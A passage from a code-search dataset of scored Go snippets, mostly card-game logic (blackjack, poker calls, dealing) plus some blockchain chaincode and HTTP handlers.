then fix pointers so that they point to the correct locations\n\tif value%23 != 0 {\n\t\toneOver := marble.Next\n\t\ttwoOver := marble.Next.Next\n\t\tcurrentMarble = &Marble{Value: value, Next: twoOver, Prev: oneOver}\n\t\t(*oneOver).Next = currentMarble\n\t\t(*twoOver).Prev = currentMarble\n\t\treturn\n\t\t// If the value is divisibly by 23, get the score of the marble\n\t\t// 7 back (CCW), then set -8.Next to -6 and -6.Prev to -8.\n\t} else {\n\t\tremoveMarble := marble.Prev.Prev.Prev.Prev.Prev.Prev.Prev\n\t\tscore = removeMarble.Value + value\n\t\tremoveMarble.Prev.Next = removeMarble.Next\n\t\tremoveMarble.Next.Prev = removeMarble.Prev\n\t\tcurrentMarble = removeMarble.Next\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "9870dd52ad451dfeabefb86f7967320d", "score": "0.51971763", "text": "func isBlackjack(p *Player) bool {\n\tif len(p.Cards) == 2 && sumOfPoints(p) == 21 {\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "0d2a42e5aed330c023c012bc9abe63f9", "score": "0.51472056", "text": "func (h Hand) Points() (total int, soft bool) {\n\taces := 0\n\n\tfor _, c := range h {\n\t\ttotal += rankPoints[c.Rank]\n\t\tif c.Rank == card.Ace {\n\t\t\taces++\n\t\t}\n\t}\n\n\tif total <= 21 {\n\t\tsoft = true\n\t} else {\n\t\tif aces > 0 {\n\t\t\tfor i := 0; i < aces; i++ {\n\t\t\t\ttotal = total - 10\n\t\t\t\tif total < 21 {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn total, soft\n}", "title": "" }, { "docid": "0762ecdbbc929376bf1b378bf6964c79", "score": "0.51381266", "text": "func TakeDealerTurn(gs GameState) GameState {\n\tif shouldHit(gs.Dealer.Score(), gs.Dealer.MinScore()) {\n\t\treturn Hit(gs)\n\t}\n\treturn Stand(gs)\n}", "title": "" }, { "docid": "25cf4799493bed1f9fb89c0a8eaba0d7", "score": "0.51347303", "text": "func (g *Game) PassCards(direction Direction) {\n\tif direction == Right {\n\t\tlog.Printf(\"passing cards right.\\n\")\n\n\t\t// drop last element, move to front\n\n\t\t/*\n\t\t blank := [][](pool.Card){}\n\t\t blank = append(blank, g.CurrentPacks[len(g.CurrentPacks)-1]) // insert last one\n\t\t blank = append(blank, g.CurrentPacks[:len(g.CurrentPacks)-1]...)\n\t\t g.CurrentPacks = blank\n\t\t*/\n\n\t\tg.CurrentPacks = append([][]pool.Card{g.CurrentPacks[len(g.CurrentPacks)-1]}, g.CurrentPacks[:len(g.CurrentPacks)-1]...)\n\n\t} else { // direction should be left\n\t\tlog.Printf(\"passing cards left. \\n\")\n\n\t\t/*\n\t\t blank := [][](pool.Card){}\n\t\t blank = append(blank, g.CurrentPacks[1:len(g.CurrentPacks)]...)\n\t\t blank = append(blank, g.CurrentPacks[1]) // insert last one\n\t\t*/\n\n\t\tg.CurrentPacks = append(g.CurrentPacks[1:len(g.CurrentPacks)], g.CurrentPacks[0])\n\t}\n}", "title": "" }, { "docid": "a6b406afc79a5803ac3ff61b08cd7dad", "score": "0.5130311", "text": "func DealHand(p *Player) {\n\tsize := 10\n\tc := make([]Card, size) // Make a copy of the players deck\n\tcopy(c, p.sidedeck.Cards)\n\ts := rand.NewSource(time.Now().UnixNano())\n\tr := rand.New(s)\n\tfor i := 0; i < 4; i++ {\n\t\tpos := r.Intn(size) // random Card from deck\n\t\tp.hand[i] = c[pos]\n\t\tc = append(c[:pos], c[pos+1:]...) // remove the Card\n\t\tsize--\n\t}\n}", "title": "" }, { "docid": "bff0d3939a2a0b9f54a474c09983cf9c", "score": "0.5125147", "text": "func Hit(gs GameState) GameState {\n\tret := clone(gs)\n\thand := ret.CurrentPlayer()\n\tvar card deck.Card\n\tcard, ret.Deck = draw(ret.Deck)\n\t*hand = append(*hand, card)\n\tif hand.Score() > 21 {\n\t\treturn Stand(ret)\n\t}\n\treturn ret\n}", "title": "" }, { "docid": "c64bebed0322933c566993654e76b27e", "score": "0.51193947", "text": "func DealCard(d *Deck) (Card, error) {\n\tif d.size == 0 {\n\t\treturn Card{}, errors.New(\"deck is empty\")\n\t}\n\ts := rand.NewSource(time.Now().UnixNano())\n\tr := rand.New(s)\n\ti := r.Intn(d.size)\n\tc := d.Cards[i]\n\td.size--\n\td.Cards = append(d.Cards[:i], d.Cards[i+1:]...) // remove the Card\n\treturn c, nil\n}", "title": "" }, { "docid": "ac0baec6ed69cc1a6f70fe2ebeb4f40e", "score": "0.5109607", "text": "func (handler *Handler) handleTakeTurnByAttemptingToPlay(\n\trequestContext context.Context,\n\thttpBodyDecoder *json.Decoder) (interface{}, int) {\n\tvar playerCardIndication parsing.PlayerCardIndication\n\n\terrorFromParse := httpBodyDecoder.Decode(&playerCardIndication)\n\tif errorFromParse != nil {\n\t\treturn \"Error parsing JSON: \" + errorFromParse.Error(), http.StatusBadRequest\n\t}\n\n\tactionExecutor, errorFromExecutor :=\n\t\thandler.stateCollection.ExecuteAction(\n\t\t\trequestContext,\n\t\t\tplayerCardIndication.GameName,\n\t\t\tplayerCardIndication.PlayerName)\n\n\tif errorFromExecutor != nil {\n\t\treturn errorFromExecutor, http.StatusBadRequest\n\t}\n\n\terrorFromTakeTurnByPlaying :=\n\t\tactionExecutor.TakeTurnByPlaying(\n\t\t\trequestContext,\n\t\t\tplayerCardIndication.CardIndex)\n\n\tif errorFromTakeTurnByPlaying != nil {\n\t\treturn errorFromTakeTurnByPlaying, http.StatusBadRequest\n\t}\n\n\treturn \"OK\", http.StatusOK\n}", "title": "" }, { "docid": "7e77f6bfbf369cb90e12e0a8bb1b750a", "score": "0.51034844", "text": "func (t *SimpleChaincode) sellPower(stub shim.ChaincodeStubInterface, args []string) pb.Response {\n\tif len(args) != 2 {\n\t\treturn shim.Error(\"Incorrect arguments.\")\n\t}\n\tbuyerID := args[0]\n\tsellerID := args[1]\n\tamount, _ := strconv.ParseFloat(args[1], 64)\n\tproducerBytes, err := stub.GetState(sellerID)\n\tif err != nil {\n\t\tshim.Error(err.Error())\n\t}\n\tvar producer Producer\n\t_ = json.Unmarshal(producerBytes, &producer)\n\tif amount > producer.TotalPower {\n\t\treturn shim.Error(\"Insufficient power\")\n\t}\n\tproducer.TotalPower -= amount\n\tgains := amount * producer.Price\n\tpResponse := doOtherCC(stub, chName, \"usercc\", \"getAsset\", buyerID)\n\tif pResponse.Status != 200{\n\t\tjsonResp := \"{\\\"Error\\\":\\\"Failed to invoke from ChainCode:\" + pResponse.String() + \"\\\"}\"\n\t\treturn shim.Error(jsonResp)\n\t}\n\tvar user UserInfo\n\terr = json.Unmarshal(pResponse.Payload, & user)\n\tif user.Asset < gains {\n\t\treturn shim.Error(\"Insufficient asset for user:\" + user.ID)\n\t}\n\tpResponse = doOtherCC(stub, chName, \"usercc\", \"setAsset\", buyerID, strconv.FormatFloat(user.Asset - gains, 'f', 30, 64))\n\tif pResponse.Status != 200{\n\t\tjsonResp := \"{\\\"Error\\\":\\\"Failed to invoke from ChainCode:\" + pResponse.String() + \"\\\"}\"\n\t\treturn shim.Error(jsonResp)\n\t}\n\tpResponse = doOtherCC(stub, chName, \"usercc\", \"setElec\", buyerID, strconv.FormatFloat(user.Elec + amount, 'f', 30, 64))\n\tif pResponse.Status != 200{\n\t\tjsonResp := \"{\\\"Error\\\":\\\"Failed to invoke from ChainCode:\" + pResponse.String() + \"\\\"}\"\n\t\treturn shim.Error(jsonResp)\n\t}\n\tproducer.Asset += gains\n\tproducer.TotalPower -= amount\n\tproducerJsonBytes, _ := json.Marshal(producer)\n\t_ = stub.PutState(sellerID, producerJsonBytes)\n\tresponse := args[0] +\" sells \"+ args[1] + \" producer with price:\" + strconv.Itoa(int(producer.Price)) + \", gains:\" + strconv.Itoa(int(gains))\n\treturn shim.Success([]byte(response))\n}", "title": "" }, { "docid": "268b86fb6b5d57b6ebad97a028da3ab8", "score": "0.5102447", "text": "func (hw *Hotwire) Card(c echo.Context) error {\n\tc.SetCookie(&http.Cookie{Name: \"fpid\", Value: c.FormValue(\"fpid\")})\n\treturn c.Render(http.StatusOK, \"card.html\", nil)\n}", "title": "" }, { "docid": "9846a9ff2e79fbf69156768205abdd89", "score": "0.5096543", "text": "func (env Env) TopupCard(w http.ResponseWriter, r *http.Request) {\n\ttopupRequest := &TopupRequest{}\n\tif err := topupRequest.Validate(r); err != nil {\n\t\thandleFailedResponse(err.Error(), w)\n\t\treturn\n\t}\n\tcommand := CardHolderCommand{}\n\tif err := command.toptup(topupRequest, env.Db); err != nil {\n\t\thandleFailedResponse(err.Error(), w)\n\t\treturn\n\t}\n\n\ttopup := &models.Topup{\n\t\tAmount: topupRequest.amount,\n\t\tCardNumber: topupRequest.cardNumber,\n\t\tTopupAt: time.Now(),\n\t}\n\n\ttopupRepo := models.TopupRepository{Db: env.Db}\n\tif err := topupRepo.Store(topup); err != nil {\n\t\thandleFailedResponse(err.Error(), w)\n\t\treturn\n\t}\n\n\thandleSuccessResponse(\"Your card has been top-up successfully\", w)\n}", "title": "" }, { "docid": "93ee296125b7cfbce60fce61d8ad261a", "score": "0.50908613", "text": "func Hit(gs GameState) GameState {\n\tret := clone(gs)\n\thand := ret.CurrentPlayer()\n\tvar card deck.Card\n\tcard, ret.Deck = draw(ret.Deck)\n\t*hand = append(*hand, card)\n\tif hand.Score() >= 21 {\n\t\treturn Stand(ret)\n\t}\n\treturn ret\n}", "title": "" }, { "docid": "7d1da5a64ed198f9c81f816b6c2e1d7f", "score": "0.50825155", "text": "func testCard(t *testing.T) *Card {\n\tc := testClient()\n\tserver := NewMockResponder(t, \"cards\", \"card-api-example.json\")\n\tdefer server.Close()\n\n\tc.BaseURL = server.URL()\n\tcard, err := c.GetCard(\"4eea503\", Defaults())\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\treturn card\n}", "title": "" }, { "docid": "21d754fd8606e5315cfebdc4b6228f6b", "score": "0.5061567", "text": "func (l *ledger) CaptureAmount (TransactionId int, Amount int) (*Card,*Transaction){\n\ttransaction := l.FindTransaction(TransactionId)\n\tif (transaction != nil) {\n\t if (transaction.CaptureTransaction(Amount)) {\n\t \tcard := l.FindCard(transaction.CardId)\n\t\t\tif (card != nil) {\n\t\t\t card.Capture(Amount)\n\t\t\t return card, transaction\n\t\t\t}\n\t\t}\n\t}\n\treturn nil, nil\n}", "title": "" }, { "docid": "7dac020faf143556386652e79bb9d70d", "score": "0.50583017", "text": "func (p *Player) Call(t *Table, b *BettingRound) error {\n\tif p.Status != PlayerActive {\n\t\treturn fmt.Errorf(\"%s is not in the hand\", p.Name)\n\t}\n\tif p.Chips <= 0 {\n\t\treturn fmt.Errorf(\"%s can't play with no chips\", p.Name)\n\t}\n\tif p.HasFolded {\n\t\treturn fmt.Errorf(\"%s can't call when folded\", p.Name)\n\t}\n\n\t// A player can't call if they have more chips bet than the call amount\n\tchipsInPot := b.Bets[p.ID]\n\tif chipsInPot >= b.CallAmount {\n\t\treturn fmt.Errorf(\n\t\t\t\"%s has more chips wagered (%d) than the call amount (%d)\",\n\t\t\tp.Name, chipsInPot, b.CallAmount,\n\t\t)\n\t}\n\n\tcallAmount := b.CallAmount - chipsInPot\n\t// If a player does not have enough chips to make a call, then they're\n\t// all in for the remainder of their chips\n\tif callAmount > p.Chips {\n\t\tcallAmount = p.Chips\n\t}\n\tt.Pot.Bets[p] += callAmount\n\tb.Bets[p.ID] += callAmount\n\tp.Chips -= callAmount\n\n\treturn nil\n}", "title": "" }, { "docid": "c3b11ea7cf9cf3e9591dd5652b9aa56c", "score": "0.5047245", "text": "func PlayerDeck(name string) Deck {\n\t_size := 10\n\td := Deck{\n\t\tname: name,\n\t\tsize: _size,\n\t\tCards: make([]Card, _size),\n\t}\n\td.Cards[0] = Card{name: \"+1\", value: 1}\n\td.Cards[1] = Card{name: \"-1\", value: -1}\n\td.Cards[2] = Card{name: \"+2\", value: 2}\n\td.Cards[3] = Card{name: \"-2\", value: -2}\n\td.Cards[4] = Card{name: \"+3\", value: 3}\n\td.Cards[5] = Card{name: \"-3\", value: -3}\n\td.Cards[6] = Card{name: \"+4\", value: 4}\n\td.Cards[7] = Card{name: \"-4\", value: -4}\n\td.Cards[8] = Card{name: \"+5\", value: 5}\n\td.Cards[9] = Card{name: \"+6\", value: 6}\n\treturn d\n}", "title": "" }, { "docid": "c29a0bd96bf0e39d7e6b2c89fbc13fdf", "score": "0.5043021", "text": "func (c *Card) GetValue() int {\n return c.value;\n}", "title": "" }, { "docid": "76213b65dbdb70352be8f9751bd3cf86", "score": "0.50424814", "text": "func (db *DB) TakeFunds(player *Player, points int) error {\n\t_, err := db.Exec(\"UPDATE player SET balance = balance - $1 WHERE id = $2;\", points, player.ID)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "b70fb20629d318fd3e8672387cfa298c", "score": "0.5024864", "text": "func (s Set) PointCards(trump Suit) (p Set) {\n\tfor _, c := range s {\n\t\tif c.Points(trump) > 0 {\n\t\t\tp = append(p, c)\n\t\t}\n\t}\n\treturn p\n}", "title": "" }, { "docid": "b11bca95395fc51f23b4d862431c70b4", "score": "0.50242054", "text": "func (s *SQLStore) Capture(transaction *models.Transaction, amount int64) error {\n\ttx, err:= s.db.Beginx()\n\tif err != nil {\n\t\ttx.Rollback()\n\t\treturn err\n\t}\n\tif amount > transaction.AuthorizedAmount {\n\t\ttx.Rollback()\n\t\treturn models.InvalidTransactionAuth\n\t}\n\t// Need to update the card amount within the transaction\n\tvar card models.PrepaidCard\n\tquery := tx.Rebind(cardIdSelector)\n\trow := tx.QueryRowx(query, transaction.CardID)\n\terr = row.StructScan(&card)\n\tif err == sql.ErrNoRows {\n\t\ttx.Rollback()\n\t\treturn models.NotFound\n\t}\n\tif err != nil {\n\t\ttx.Rollback()\n\t\treturn err\n\t}\n\ttransaction.AuthorizedAmount = transaction.AuthorizedAmount - amount\n\ttransaction.CapturedAmount = transaction.CapturedAmount + amount\n\tquery = tx.Rebind(`UPDATE transactions SET authorized_amount=:authorized_amount, captured_amount=:captured_amount WHERE id=:id`)\n\t_, err = tx.NamedExec(query, transaction)\n\tif err != nil {\n\t\ttx.Rollback()\n\t\treturn err\n\t}\n\tcard.FullBalance = card.FullBalance - amount\n\tcard.BlockedBalance = card.BlockedBalance - amount\n\tquery = tx.Rebind(`UPDATE cards SET blocked_balance=:blocked_balance, full_balance=:full_balance WHERE card_number=:card_number`)\n\t_, err = tx.NamedExec(query, card)\n\tif err != nil {\n\t\ttx.Rollback()\n\t\treturn err\n\t}\n\ttransaction.Card = &card\n\ttx.Commit()\n\treturn nil\n}", "title": "" }, { "docid": "113a4df96a1f31e67fa9eb507440b0bf", "score": "0.50214225", "text": "func (s *SmartContract) takeTheTest(APIstub shim.ChaincodeStubInterface, args []string) sc.Response {\n\n\tif len(args) != 4 {\n\t\treturn shim.Error(\"Incorrect number of arguments. Expecting 4\")\n\t}\n\n\tstestAsBytes, _ := APIstub.GetState(args[0])\n\n if stestAsBytes == nil {\n \t return shim.Error(\"Could not locate unpassed test\")\n }\n\n\tstest := Stest{}\n\n\tjson.Unmarshal(stestAsBytes, &stest)\n\n\tif stest.Rate != \"\" {\n\t\treturn shim.Error(\"Could not locate unpassed test\")\n\t}\n\n\t// Normally check that the specified argument is a valid participant of exam\n\t// we are skipping this check for this example\n\tstest.StestTS = time.Now().Format(time.RFC1123Z)\n stest.Rate = args[3]\n\n\tstestAsBytes, _ = json.Marshal(stest)\n\terr := APIstub.PutState(args[0], stestAsBytes)\n\tif err != nil {\n\t\treturn shim.Error(fmt.Sprintf(\"Failed to change status of exam: %s\", args[0]))\n\t}\n\n\treturn shim.Success(stestAsBytes)\n}", "title": "" }, { "docid": "eb245ffa242682495166c13e784ff89a", "score": "0.5017261", "text": "func deal(d deck, handSize int) (deck, deck) {\n\treturn d[:handSize], d[handSize:] //we return the first deck which is the one in our hand, and the second value is the remaining cards on deck\n}", "title": "" }, { "docid": "e8415a6255e03649b05d36d13090af4f", "score": "0.5012697", "text": "func Deal(gs GameState) GameState {\n\tret := clone(gs)\n\tret.Player = make(Hand, 0, 5)\n\tret.Dealer = make(Hand, 0, 5)\n\tvar card deck.Card\n\tfor i := 0; i < 2; i++ {\n\t\tcard, ret.Deck = draw(ret.Deck)\n\t\tret.Player = append(ret.Player, card)\n\t\tcard, ret.Deck = draw(ret.Deck)\n\t\tret.Dealer = append(ret.Dealer, card)\n\t}\n\tret.State = StatePlayerTurn\n\treturn ret\n}", "title": "" }, { "docid": "43ac9033802658aaba4447c187c62153", "score": "0.5010827", "text": "func (t *WeShare) transfer(stub shim.ChaincodeStubInterface, args []string) pb.Response {\n\tvar transferUserId, receiverId string // Entities\n\tvar transferUserInfo, receiverInfo User // Asset holdings\n\tvar transferUserAmount, receiverAmount float64\n\tvar err error\n\n\ttransferUserId = args[0]\n\treceiverId = args[1]\n\n\toldTransferUserInfoBytes, err := stub.GetState(transferUserId)\n\terr = json.Unmarshal(oldTransferUserInfoBytes, &transferUserInfo)\n\tif err != nil {\n\t\treturn shim.Error(err.Error())\n\t}\n\n\toldReceiverInfoBytes, err := stub.GetState(receiverId)\n\terr = json.Unmarshal(oldReceiverInfoBytes, &receiverInfo)\n\tif err != nil {\n\t\treturn shim.Error(err.Error())\n\t}\n\n\ttransferUserAmount = transferUserInfo.Amount\n\treceiverAmount = receiverInfo.Amount\n\n\t// Perform the execution\n\tamount, err := strconv.ParseFloat(args[2], 64)\n\tif err != nil {\n\t\treturn shim.Error(err.Error())\n\t}\n\n\ttransferUserInfo.Amount = transferUserAmount - amount\n\treceiverInfo.Amount = receiverAmount + amount\n\n\ttransferUserInfoBytes, err := json.Marshal(transferUserInfo)\n\t// Write the state to the ledger\n\terr = stub.PutState(transferUserInfo.UserId, transferUserInfoBytes)\n\tif err != nil {\n\t\treturn shim.Error(err.Error())\n\t}\n\n\treceiverInfoBytes, err := json.Marshal(receiverInfo)\n\t// Write the state to the ledger\n\terr = stub.PutState(receiverInfo.UserId, receiverInfoBytes)\n\tif err != nil {\n\t\treturn shim.Error(err.Error())\n\t}\n\n\treturn shim.Success(nil)\n}", "title": "" }, { "docid": "ae18608a99aadf7a40689160864c02af", "score": "0.50100785", "text": "func Deal(gs GameState) GameState {\n\tret := clone(gs)\n\tret.Player = make(Hand, 0, 5)\n\tret.Dealer = make(Hand, 0, 5)\n\tvar card deck.Card\n\tfor i := 0; i < 2; i++ {\n\t\tcard, ret.Deck = draw(ret.Deck)\n\t\tret.Player = append(ret.Player, card)\n\t\tcard, ret.Deck = draw(ret.Deck)\n\t\tret.Dealer = append(ret.Dealer, card)\n\t}\n\tret.Phase = PlayerTurn\n\treturn ret\n}", "title": "" }, { "docid": "94f788bb7199f0a2b8bcbc5de37b754f", "score": "0.49996406", "text": "func PointsForCard(prevCards []model.PeggedCard, c model.Card) (int, error) {\n\tif err := validatePrevCards(prevCards, c); err != nil {\n\t\treturn 0, err\n\t}\n\n\ttotalPegged := 0\n\tindexOfCardsToUse := 0\n\tfor i, pc := range prevCards {\n\t\ttotalPegged += pc.PegValue()\n\t\tif totalPegged > 31 {\n\t\t\ttotalPegged = pc.PegValue()\n\t\t\tindexOfCardsToUse = i\n\t\t}\n\t}\n\tcardsToAnalyze := make([]model.Card, 0, len(prevCards)-indexOfCardsToUse)\n\tfor _, pc := range prevCards[indexOfCardsToUse:] {\n\t\tcardsToAnalyze = append(cardsToAnalyze, pc.Card)\n\t}\n\tif totalPegged+c.PegValue() > 31 {\n\t\t// If this card pushes us over 31, then don't consider any previous cards\n\t\tcardsToAnalyze = cardsToAnalyze[:0]\n\t}\n\n\tpoints := 0\n\trunPoints := scoreRun(cardsToAnalyze, c)\n\tpoints += runPoints\n\n\tpairPoints := scorePairs(cardsToAnalyze, c)\n\tpoints += pairPoints\n\n\tswitch totalPegged + c.PegValue() {\n\tcase 15, 31:\n\t\tpoints += 2\n\t}\n\n\treturn points, nil\n}", "title": "" }, { "docid": "76f86f43c67c4df7be9e4cfae2ed164f", "score": "0.49936938", "text": "func (game *Game) PlayCard(pos uint8, newCombo bool, isYinA bool) error {\n\tif game.State != Combat {\n\t\treturn fmt.Errorf(\"Can only play a combat card, during the Combat step, current game state is %s\", game.State)\n\t}\n\n\t// Start a new combo if necessary\n\tif newCombo && len(game.Combos[len(game.Combos)-1]) != 0 {\n\t\tgame.Combos = append(game.Combos, CardCollection{})\n\t\tgame.IsYinA = append(game.IsYinA, []bool{})\n\t}\n\n\tplayer := game.CurrentPlayer\n\tcard := player.Hand[pos].(*CombatCard)\n\n\tlastComboIndex := len(game.Combos) - 1\n\n\t// Check if it is a valid play\n\tif !newCombo && len(game.Combos[lastComboIndex]) != 0 {\n\t\t// 1) Check card orientation\n\t\tlastIsYinA := game.IsYinA[lastComboIndex][len(game.IsYinA[lastComboIndex])-1]\n\t\tif isYinA != lastIsYinA {\n\t\t\treturn errors.New(\"Wrong card orientation\")\n\t\t}\n\n\t\t// 2) Check opponent stance\n\t\tlastCard := game.Combos[lastComboIndex][len(game.Combos[lastComboIndex])-1]\n\t\tvar lastOpponentStance Stance\n\t\tvar futureOpponentStance Stance\n\t\tif lastIsYinA && game.CurrentPlayer == game.PlayerA {\n\t\t\tlastOpponentStance = lastCard.(*CombatCard).YangStance\n\t\t} else {\n\t\t\tlastOpponentStance = lastCard.(*CombatCard).YinStance\n\t\t}\n\t\tif isYinA && game.CurrentPlayer == game.PlayerA {\n\t\t\tfutureOpponentStance = card.YangStance\n\t\t} else {\n\t\t\tfutureOpponentStance = card.YinStance\n\t\t}\n\t\tif futureOpponentStance != lastOpponentStance {\n\t\t\treturn fmt.Errorf(\"Opponent stance not respected: is %s, but would be %s with the card was played\", lastOpponentStance, futureOpponentStance)\n\t\t}\n\t}\n\t// Remove from hand\n\tcopy(player.Hand[pos:], player.Hand[pos+1:])\n\tplayer.Hand[len(player.Hand)-1] = nil\n\tplayer.Hand = player.Hand[:len(player.Hand)-1]\n\n\t// Add to the current combo\n\tgame.Combos[lastComboIndex] = append(game.Combos[lastComboIndex], card)\n\tgame.IsYinA[lastComboIndex] = append(game.IsYinA[lastComboIndex], isYinA)\n\n\t// Resolve effects\n\tvar playerYin, playerYang *Player\n\tif isYinA {\n\t\tplayerYin = game.PlayerA\n\t\tplayerYang = game.PlayerB\n\t} else {\n\t\tplayerYin = game.PlayerB\n\t\tplayerYang = game.PlayerA\n\t}\n\tfor n, effect := range []Effect{card.YinEffect, card.YangEffect} {\n\t\tvar affectedPlayer *Player\n\t\tswitch Balance(n + 1) {\n\t\tcase Yin:\n\t\t\taffectedPlayer = playerYin\n\t\tcase Yang:\n\t\t\taffectedPlayer = playerYang\n\t\t}\n\t\tswitch effect {\n\t\tcase Draw:\n\t\t\taffectedPlayer.Draw()\n\t\tcase Discard:\n\t\t\taffectedPlayer.Discard(0) // should ask what to Discard\n\t\t\t// TODO handle aspects\n\t\t}\n\t}\n\n\tgame.switchCurrentPlayer()\n\n\treturn nil\n}", "title": "" }, { "docid": "80f400d68411dbcbca48c60b377e4162", "score": "0.49930894", "text": "func (_e *Pipeliner_Expecter) ZCard(ctx interface{}, key interface{}) *Pipeliner_ZCard_Call {\n\treturn &Pipeliner_ZCard_Call{Call: _e.mock.On(\"ZCard\", ctx, key)}\n}", "title": "" }, { "docid": "bb7ba551c12881f06e4cd82e99ca7113", "score": "0.49533036", "text": "func (p *AmmoShootPlayer) Feedback(yourMove, opponentsMove ass.PlayerMove) {\n}", "title": "" }, { "docid": "e61ab6c2191d3d7113fad61a4d171646", "score": "0.4949201", "text": "func (qp *QPlayer) PlayCard(state state.Simple) rules.Action {\n\tact := qp.policy(state.AsIndex())\n\tif act == nil || rand.Float32() < qp.epsilon {\n\t\treturn (&players.RandomPlayer{}).PlayCard(state)\n\t}\n\treturn *act\n}", "title": "" }, { "docid": "0a9aba7132cb8c0442950aa33f55fe39", "score": "0.4942536", "text": "func hitOrStand(d *Deck, p *Player) string {\n\taceCount := 0\n\tfor _, c := range p.Cards {\n\t\tif c.rank == \"Ace\" {\n\t\t\taceCount++\n\t\t}\n\t}\n\tfor {\n\t\tscanner := bufio.NewScanner(os.Stdin)\n\t\tfmt.Printf(\"[%s] - Current Points: [%v], Card Count: [%v], Number of Aces: [%v]\\n\", p.name, p.points, len(p.Cards), aceCount)\n\t\tif p.points < 16 {\n\t\t\tfmt.Printf(\"[%s] - Not enough points. Must Hit(H): \", p.name)\n\t\t} else {\n\t\t\tfmt.Printf(\"[%s] - Hit(H) or Stand(S): \", p.name)\n\t\t}\n\t\tscanner.Scan()\n\t\tdecision := scanner.Text()\n\t\tif !(decision == \"H\" || decision == \"S\") {\n\t\t\tfmt.Print(\"Invalid input detected. You need to type 'H' or 'S'!\\n\")\n\t\t} else {\n\t\t\treturn decision\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e4d318c7fb87b29d365ed02200b013b3", "score": "0.49372014", "text": "func (handler *Handler) handleTakeTurnByDiscarding(\n\trequestContext context.Context,\n\thttpBodyDecoder *json.Decoder) (interface{}, int) {\n\tvar playerCardIndication parsing.PlayerCardIndication\n\n\terrorFromParse := httpBodyDecoder.Decode(&playerCardIndication)\n\tif errorFromParse != nil {\n\t\treturn \"Error parsing JSON: \" + errorFromParse.Error(), http.StatusBadRequest\n\t}\n\n\tactionExecutor, errorFromExecutor :=\n\t\thandler.stateCollection.ExecuteAction(\n\t\t\trequestContext,\n\t\t\tplayerCardIndication.GameName,\n\t\t\tplayerCardIndication.PlayerName)\n\n\tif errorFromExecutor != nil {\n\t\treturn errorFromExecutor, http.StatusBadRequest\n\t}\n\n\terrorFromTakeTurnByDiscarding :=\n\t\tactionExecutor.TakeTurnByDiscarding(\n\t\t\trequestContext,\n\t\t\tplayerCardIndication.CardIndex)\n\n\tif errorFromTakeTurnByDiscarding != nil {\n\t\treturn errorFromTakeTurnByDiscarding, http.StatusBadRequest\n\t}\n\n\treturn \"OK\", http.StatusOK\n}", "title": "" }, { "docid": "2d31e93c9e797ccd6afd2d87aec6c346", "score": "0.49300206", "text": "func (ss *standardState) pickup(p *Player) error {\n\tif err := ss.validate(); err != nil {\n\t\treturn fmt.Errorf(\"validation error while picking up: %v\", err)\n\t}\n\n\tif ss.tiles[p.Position].Type != TileTypeTreasure {\n\t\treturn errors.New(\"player tried to pick up non-treasure tile\")\n\t}\n\n\tp.HeldTreasure = append(p.HeldTreasure, *ss.tiles[p.Position].Treasure)\n\tss.tiles[p.Position] = Tile{\n\t\tType: TileTypeEmpty,\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "c2925fbbd509cf8340c923b16aeb8dcb", "score": "0.48936856", "text": "func (t *Paymentcc) transfer(stub shim.ChaincodeStubInterface, args []string) pb.Response {\n\tif len(args) != 1 {\n\t\treturn shim.Error(\"Incorrect number of arguments. Expecting 1\")\n\t}\n\n\tpayload_str := args[0]\n\tvar payload Payload\n\tpayload.FromBytes([]byte(payload_str))\n\n\tif payload.From == payload.To {\n\t\treturn shim.Success(nil)\n\t}\n\n\t// get balance of A and B\n\tbalanceA, err := t.getBalance(stub, payload.From)\n\tif err != nil {\n\t\treturn shim.Error(errors.WithMessage(err, fmt.Sprintf(\"get balance for account %s failed.\", payload.From)).Error())\n\t}\n\tlogger.Infof(\"before transfer, %s's balance is %d\", payload.From, balanceA)\n\n\tbalanceB, err := t.getBalance(stub, payload.To)\n\tif err != nil {\n\t\treturn shim.Error(errors.WithMessage(err, fmt.Sprintf(\"get balance for account %s failed.\", payload.To)).Error())\n\t}\n\tlogger.Infof(\"before transfer, %s's balance is %d\", payload.To, balanceB)\n\n\tbalanceA = balanceA - payload.Amount\n\tif balanceA < 0 {\n\t\treturn shim.Error(fmt.Sprintf(\"account %s has not enough balance (%d) to Transfer %d.\", args[0], balanceA + payload.Amount, payload.Amount))\n\t}\n\terr = t.putBalance(stub, payload.From, balanceA)\n\tif err != nil {\n\t\treturn shim.Error(errors.WithMessage(err, fmt.Sprintf(\"put balance for account %s failed.\", args[0])).Error())\n\t}\n\n\tbalanceB = balanceB + payload.Amount\n\tt.putBalance(stub, payload.To, balanceB)\n\tif err != nil {\n\t\treturn shim.Error(errors.WithMessage(err, fmt.Sprintf(\"put balance for account %s failed.\", args[1])).Error())\n\t}\n\n\tfmt.Printf(\"balanceA = %d, balanceB = %d\\n\", balanceA, balanceB)\n\treturn shim.Success(nil)\n}", "title": "" }, { "docid": "d1446591ec4380fdb7cc979238534544", "score": "0.48913744", "text": "func deal(d deck, handSize int) (deck, deck) {\r\n\tdealCards := d[:handSize]\r\n\tremainingCards := d[handSize:]\r\n\treturn dealCards, remainingCards\r\n}", "title": "" }, { "docid": "273eea5fe641f65b0e33b96231f29cbf", "score": "0.48907846", "text": "func Profile() {\n\tvar hand Hand\n\n\tcnt := 0\n\tc1 := 0\n\tc2 := 1\n\tc3 := 2\n\tc4 := 3\n\tc5 := 4\n\tc6 := 5\n\tc7 := 6\n\n\tdeck := MakeDeck()\n\n\tstart := time.Now().UTC().UnixNano()\n\n\t// Loop through all possible hand combinations\n\tfor ; c1 < c2; c1++ {\n\t\tfor c2 = c1+1; c2 < c3; c2++ {\n\t\t\tfor c3 = c2+1; c3 < c4; c3++ {\n\t\t\t\tfor c4 = c3+1; c4 < c5; c4++ {\n\t\t\t\t\tfor c5 = c4+1; c5 < c6; c5++ {\n\t\t\t\t\t\tfor c6 = c5+1; c6 < c7; c6++ {\n\t\t\t\t\t\t\tfor c7 = c6+1; c7 < 52; c7++ {\n\t\t\t\t\t\t\t\thand = 